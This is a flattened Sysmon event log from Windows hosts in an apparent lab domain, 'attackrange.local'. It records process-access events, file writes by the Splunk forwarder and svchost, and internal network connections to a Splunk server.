14:50:09.351{7BD73061-6D0F-613B-9406-00000000F001}44806284C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\ole32.dll+8a360|C:\Windows\System32\ole32.dll+8c46e|C:\Windows\System32\ole32.dll+8c93b|C:\Windows\System32\SHELL32.dll+2c8e1d|C:\Windows\System32\SHELL32.dll+283a8e|C:\Windows\system32\explorerframe.dll+b29b9|C:\Windows\system32\DUI70.dll+48b9d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11d7b|C:\Windows\System32\DUser.dll+9f5a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11d7b|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58770|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58547|C:\Windows\system32\explorerframe.dll+4f50e|C:\Windows\system32\explorerframe.dll+4d2f6|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+587c9|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58547|C:\Windows\system32\explorerframe.dll+1aced|C:\Windows\system32\explorerframe.dll+1ac26|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+587c9|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+5888a 10341000x800000000000000047193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.351{7BD73061-6D0F-613B-9406-00000000F001}44806284C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1b24a|C:\Windows\system32\dataexchange.dll+a087|C:\Windows\System32\ole32.dll+8c2e5|C:\Windows\System32\ole32.dll+8c93b|C:\Windows\System32\SHELL32.dll+2c8e1d|C:\Windows\System32\SHELL32.dll+283a8e|C:\Windows\system32\explorerframe.dll+b29b9|C:\Windows\system32\DUI70.dll+48b9d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11d7b|C:\Windows\System32\DUser.dll+9f5a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11d7b|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58770|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58547|C:\Windows\system32\explorerframe.dll+4f50e|C:\Windows\system32\explorerframe.dll+4d2f6|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+587c9|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll+58547|C:\Windows\system32\explorerframe.dll+1aced 23542300x800000000000000047212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:10.601{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7168A589DE3A794802C72C0720E9DF5F,SHA256=4DEAD523B5CEDA4139ECFFF2CA334CF799BD82A8C440F0945649EAF10B3B8EAC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014883Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:10.063{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=44A4314E66B3F31E4B8122C56EE31C48,SHA256=3B890CB65BD71D12EDC5890E2A6396144B6F89A86F6C465BE02FA7A0673DDE32,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:10.429{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1DFD000940125C3402BADCE2E96E4D87,SHA256=DAA50F832C959769DA9C0FF0E9DAB7F1A436C099DB2DCC6FC5417A162241EC43,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:09.367{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59378-false10.0.1.12-8000- 23542300x800000000000000047213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:11.723{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D15DC63C9B88C7476B0486D00B04E3D1,SHA256=8F4B127C7C2B306CB3D0C4D160A96E24B1A78482BB6C3DADB7F9120C0A74539F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014884Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:11.066{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FBD1E0D2E003AF950EEE41689A3C05E7,SHA256=BCC7187B315B1567E368E4462362B9A326C7748DFA4AF6B512E0E60C99752DB5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:12.911{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5944D185DF0D427C497818C416E12F45,SHA256=9E3521ECFBC340A263C22AF80B1DFB89B9A97C8079CB0C71C6B169674B593538,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014885Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:12.066{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=922B348B175A2C990C8C6B745EE47223,SHA256=0BC32150339CE1140AA3CB49DB4D30817732DFD0376E77CEF298D1E18661CE9B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014886Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:13.081{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3AA1A8105702CC1899A877425049D775,SHA256=CB1EF31A160B53A9F8D7EF9A6EFDE56D149144D38DB14E29C69DA448872524FC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014888Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:12.581{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50189-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014887Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:14.081{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=91872E410BE6826B7B6D6B1867BEAE13,SHA256=1471748E76A08B37FFB9E9F61EB96AE063DD7BD61AFA6B497EB2E19D519A52FA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.223{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DDBE.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.223{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_14.rslcMD5=21FFF4409484AA8C80EF4230B191E72E,SHA256=9B86182B9E0B653CDF0A81D9A7D3FCAE79791C1F73715BE79237687CD43458BD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.223{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DDAE.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.208{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_13.rslcMD5=EA0849C8D379E13E555C5CC2195B975D,SHA256=E3A9534D0B1A69F3A5D3BC6913DEDA9B867890FD1C99992808A0808154160D83,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.208{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DDAD.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.208{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_12.rslcMD5=66387308E117DE3F96349F1F6DE24FC6,SHA256=7FEE09E7B1CF2E469DF60FD239D6BB43DD1993FEB5607B91729FE374DCA5555B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.192{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD9C.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.192{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_11.rslcMD5=7CB37BB3FCBE36E77144B309BBA0B864,SHA256=9E894AD990E6F054F65549C1EDCD4B99CB0541FB2DF81A8025C183E98F8EDF25,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.192{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD9B.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.192{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_10.rslcMD5=EE969F540674FEB38194F453CC554A47,SHA256=F4FA1806CC88B9F2D2BAC5EA30934F7D2DDB49C835624CCB7CCBD7F223F5EDE3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.192{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD9A.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.192{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_9.rslcMD5=B97BA779B4EDFBB3BFBA304E4CF734BB,SHA256=E4FC2D33192598E84AF7E3D24BA18297F0092C33FBBE3AF10468443051A84F9F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.176{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD89.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.176{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_8.rslcMD5=2AEA3D16ABB157FE9FC2F877651E09D0,SHA256=C8E44A73EF0ADC100F7A33D0C9AFF39918B9464679000B8DFAE5ED0974ECCA5D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.176{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD88.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.176{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_6.rslcMD5=C7334E778B07B31FFF94683C340162EA,SHA256=4AC92486E191A0EBCD59442122DEF85D1A81E36E3441E6B739C8925CCEE575E5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.176{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD87.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.176{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_7.rslcMD5=DA668579977438AF0696DFE5F0244F8B,SHA256=CD8BF47F5D4E6D80F70BBE143B344ACA66550A2C4E75F9B6A563CBC568659CC2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.161{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD77.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.161{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_5.rslcMD5=A4A46EC1BA93E35C8C858550064A0BE2,SHA256=46A175F08360845FA333115DD0C16E4B6F656BA663279987197D18718BCBDC74,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.161{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD76.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.161{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_4.rslcMD5=9C6F2748C625EC4636995769DE9D778A,SHA256=E2D40E7979010B539D1784768113F7CF82ECE1EF609F971E31F0A748394AEE6B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.145{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD65.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.145{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_3.rslcMD5=AAD4196E43D6E8F4BD3208D02C26AA85,SHA256=3FB85626EFF96C9839F5F1053ED47DF8A84B208145DD5BA19107878F99E6A3B5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.145{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD64.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.145{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_2.rslcMD5=847C84F138E69752A4B408C3DE044EA7,SHA256=476E1EEAF8A09BB991BA56592FA24BB4A25DAA6A6459F97D041FE7C2A150B27E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.145{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\DD63.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.145{7BD73061-6D0F-613B-9706-00000000F001}4156NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\AppRepository\834da349-ca76-4850-8d49-59fcc616941d_S-1-5-21-589020557-3528615288-1361562277-500_1.rslcMD5=F827BC4DD366411B1246AC6EB30DA67B,SHA256=0C2088BF4539DE7B48444D5169C96DF638F0F5947FB2B115215F8B09D0811826,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.005{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E6CB084C654DC97250913AC366E5AECC,SHA256=95188CB6B199FC2FAA2C261034188A7B6755B8BF6099A58911EBBD20E46D4452,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014889Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:15.097{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=815578828CB054141F19E38D496740D9,SHA256=80A2CE1E3DE36F55770BDC521FA0DCF1BF3B357E994E0F1DB127A4E49C5DC89F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:15.239{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=1182936DAC3C905632D409545A6CE5AF,SHA256=B10E4A104824FC69A4EA61D2027809D6AF65731D32E2733470718A823329C1F7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:15.239{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=4ABAA3306D4472EF769A126A2A8A97B6,SHA256=3A16BC7B0EC9B9AF12BC54C1AAF6C5C4436E797F437BD50ECF9264B0F1233FA8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:15.036{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1B7F2AA1CEB6CBAC28A277595734122F,SHA256=E977F7D418B3BB4A5A8C4B3AEE6ECFA3CC877C35F1031F9E7D1F3A2663D21501,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014890Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:16.113{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D85D1E9C1620D1D2CC0F3AC1D6448DE,SHA256=B341B92C3B88527080599A8127F96452EBF1713009FF9292875166455450B3C1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:16.958{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-6D0E-613B-8C06-00000000F001}4864C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 